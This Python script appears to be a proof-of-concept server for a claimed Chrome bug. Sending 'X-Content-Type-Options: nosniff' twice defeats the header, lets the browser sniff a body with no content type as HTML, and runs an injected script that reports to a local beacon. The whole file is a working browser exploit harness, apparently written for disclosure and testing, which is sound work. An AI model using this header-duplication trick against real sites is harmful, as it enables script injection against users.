#!/usr/bin/env python3
"""
POC HTTP server for X-Content-Type-Options: nosniff bypass via duplicated headers.

Endpoints:
  /single   - Control case. Serves HTML payload with NO Content-Type and a
              SINGLE "X-Content-Type-Options: nosniff" header. Chrome should
              honor nosniff and refuse to sniff the body as text/html, so the
              embedded <script> must NOT execute.

  /double   - Vulnerable case. Identical payload, but sends the
              "X-Content-Type-Options: nosniff" header TWICE. Chrome's
              ShouldSniffContent() / MimeSniffingThrottle coalesce the two
              header values into "nosniff, nosniff" via GetNormalizedHeader()
              and then perform a strict equality check against "nosniff",
              which fails. Sniffing proceeds, the body is detected as
              text/html, and the embedded <script> executes (XSS).

  /beacon   - Receives a callback from the executing <script>. If a request
              arrives at /beacon?from=double, the nosniff bypass is proven.

  /log      - Dumps the beacon log so the test driver can read it.
"""

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs

PORT = 19234

# Payload that Chrome's MIME sniffer will classify as text/html when sniffing
# is permitted (matches the "<!DOCTYPE html" magic in net/base/mime_sniffer.cc).
# The script reports back to /beacon with the endpoint name and the document
# contentType so we can observe what MIME type Chrome actually committed.
def make_payload(tag):
    return ("<!DOCTYPE html><html><head><title>x</title></head><body>"
            "<script>"
            "fetch('/beacon?from=" + tag + "&ct='+encodeURIComponent(document.contentType))"
            ".finally(function(){document.title='DONE-" + tag + "';});"
            "</script>"
            "nosniff-bypass-poc"
            "</body></html>").encode()

BEACON_LOG = []
LOG_LOCK = threading.Lock()


class Handler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _serve_payload(self, tag, nosniff_count):
        body = make_payload(tag)
        # Write the raw response manually so we control every header line and
        # can emit X-Content-Type-Options multiple times without coalescing.
        self.wfile.write(b"HTTP/1.1 200 OK\r\n")
        for _ in range(nosniff_count):
            self.wfile.write(b"X-Content-Type-Options: nosniff\r\n")
        # Deliberately NO Content-Type header -> mime_type is "unknown" so
        # net::ShouldSniffMimeType() returns true and the only thing standing
        # between this payload and text/html is the nosniff check.
        self.wfile.write(b"Content-Length: " + str(len(body)).encode() + b"\r\n")
        self.wfile.write(b"Connection: close\r\n")
        self.wfile.write(b"\r\n")
        self.wfile.write(body)

    def do_GET(self):
        parsed = urlparse(self.path)
        path = parsed.path

        if path == "/single":
            self._serve_payload("single", nosniff_count=1)
            return

        if path == "/double":
            self._serve_payload("double", nosniff_count=2)
            return

        if path == "/beacon":
            qs = parse_qs(parsed.query)
            entry = "from={} ct={}".format(
                qs.get("from", ["?"])[0], qs.get("ct", ["?"])[0])
            with LOG_LOCK:
                BEACON_LOG.append(entry)
            sys.stderr.write("[BEACON] {}\n".format(entry))
            sys.stderr.flush()
            self.send_response(204)
            self.send_header("Content-Length", "0")
            self.send_header("Connection", "close")
            self.end_headers()
            return

        if path == "/log":
            with LOG_LOCK:
                body = ("\n".join(BEACON_LOG) + "\n").encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.send_header("Content-Length", str(len(body)))
            self.send_header("Connection", "close")
            self.end_headers()
            self.wfile.write(body)
            return

        self.send_response(404)
        self.send_header("Content-Length", "0")
        self.send_header("Connection", "close")
        self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[HTTP] " + (fmt % args) + "\n")


class ThreadingHTTPServer(HTTPServer):
    allow_reuse_address = True


if __name__ == "__main__":
    httpd = ThreadingHTTPServer(("127.0.0.1", PORT), Handler)
    sys.stderr.write("Serving on http://127.0.0.1:{}/\n".format(PORT))
    sys.stderr.flush()
    httpd.serve_forever()
